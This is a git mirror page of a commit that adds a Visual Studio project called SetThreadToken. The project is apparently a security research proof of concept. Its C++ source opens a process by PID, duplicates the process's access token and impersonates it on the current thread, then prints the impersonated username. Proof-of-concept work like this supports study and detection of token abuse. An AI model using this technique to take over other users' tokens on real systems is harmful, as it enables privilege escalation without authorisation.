admin/jonny-jhnson-RandomPOCs
1
0
Fork 0
mirror of https://github.com/jonny-jhnson/RandomPOCs synced 2026-06-21 13:54:51 +00:00
Code Issues Packages Projects Releases Wiki Activity

Adding SetThreadToken

Browse Source
This commit is contained in:
Jonathan Johnson
2023-04-14 10:12:50 -05:00
parent b19eb06056
commit c5eaa54033
9 changed files with 262 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files
SetThreadToken/SetThreadToken/.vs/SetThreadToken/v17/.suo
BIN
View File
Binary file not shown.
SetThreadToken/SetThreadToken/.vs/SetThreadToken/v17/Browse.VC.db
BIN
View File
Binary file not shown.
SetThreadToken/SetThreadToken/.vs/SetThreadToken/v17/ipch/AutoPCH/22d3d5e1022bae77/SOURCE.ipch
BIN
View File
Binary file not shown.
SetThreadToken/SetThreadToken/.vs/SetThreadToken/v17/ipch/AutoPCH/2cfde4d56ae4fdd5/SOURCE.ipch
BIN
View File
Binary file not shown.
SetThreadToken/SetThreadToken/SetThreadToken.sln
+31
View File
@@ -0,0 +1,31 @@
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 17
VisualStudioVersion = 17.3.32901.215
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "SetThreadToken", "SetThreadToken.vcxproj", "{8D9F2905-0886-4981-955E-FB69DAC964F7}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{8D9F2905-0886-4981-955E-FB69DAC964F7}.Debug|x64.ActiveCfg = Debug|x64
{8D9F2905-0886-4981-955E-FB69DAC964F7}.Debug|x64.Build.0 = Debug|x64
{8D9F2905-0886-4981-955E-FB69DAC964F7}.Debug|x86.ActiveCfg = Debug|Win32
{8D9F2905-0886-4981-955E-FB69DAC964F7}.Debug|x86.Build.0 = Debug|Win32
{8D9F2905-0886-4981-955E-FB69DAC964F7}.Release|x64.ActiveCfg = Release|x64
{8D9F2905-0886-4981-955E-FB69DAC964F7}.Release|x64.Build.0 = Release|x64
{8D9F2905-0886-4981-955E-FB69DAC964F7}.Release|x86.ActiveCfg = Release|Win32
{8D9F2905-0886-4981-955E-FB69DAC964F7}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {B03474CB-E36E-4A7C-BF80-0964B68AA46A}
EndGlobalSection
EndGlobal
SetThreadToken/SetThreadToken/SetThreadToken.vcxproj
+135
View File
@@ -0,0 +1,135 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{8d9f2905-0886-4981-955e-fb69dac964f7}</ProjectGuid>
<RootNamespace>SetThreadToken</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="Source.cpp" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>
SetThreadToken/SetThreadToken/SetThreadToken.vcxproj.filters
+22
View File
@@ -0,0 +1,22 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="Source.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
</Project>
SetThreadToken/SetThreadToken/SetThreadToken.vcxproj.user
+4
View File
@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup />
</Project>
SetThreadToken/SetThreadToken/Source.cpp
+70
View File
@@ -0,0 +1,70 @@
//Author: Jonathan Johnson
#include <windows.h>
#include <iostream>
#include <Lmcons.h>
#include <fstream>
int main(int argc, char* argv[])
{
DWORD PID = atoi(argv[1]);
HANDLE hToken, hDuplicate, hProcess = NULL;
TCHAR username[UNLEN + 1];
DWORD username_len = UNLEN + 1;
hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, true, PID);
if (!hProcess)
{
std::cout << "[-] OpenProcess Failed (" << GetLastError() << ").\n";
}
else
{
std::cout << "[*] Handle to PID: " << PID << " aquired via OpenProcess!" << ".\n";
if (!OpenProcessToken(hProcess, TOKEN_DUPLICATE, &hToken))
{
std::cout << "[-] OpenProcessToken Failed (" << GetLastError() << ").\n";
}
else
{
std::cout << "[*] OpenProcessToken passed!" << ".\n";
if (!DuplicateToken(hToken, SecurityImpersonation, &hDuplicate))
{
std::cout << "[-] DuplicateToken Failed (" << GetLastError() << ").\n";
}
else
{
if (!SetThreadToken(NULL, hDuplicate))
{
std::cout << "[-] Impersonation Failed (" << GetLastError() << ").\n";
}
else
{
printf("[*] Impersoantion Passed!\n");
if (!GetUserNameW(username, &username_len))
{
std::cout << "[-] GetUserName Failed (" << GetLastError() << ").\n";
}
else
{
std::wstring username_w(username);
std::string username_s(username_w.begin(), username_w.end());
std::cout << "[*] Impersonated username is: " << username_s << "\n";
RevertToSelf();
}
}
}
CloseHandle(hDuplicate);
CloseHandle(hToken);
CloseHandle(hProcess);
}
}
return 0;
}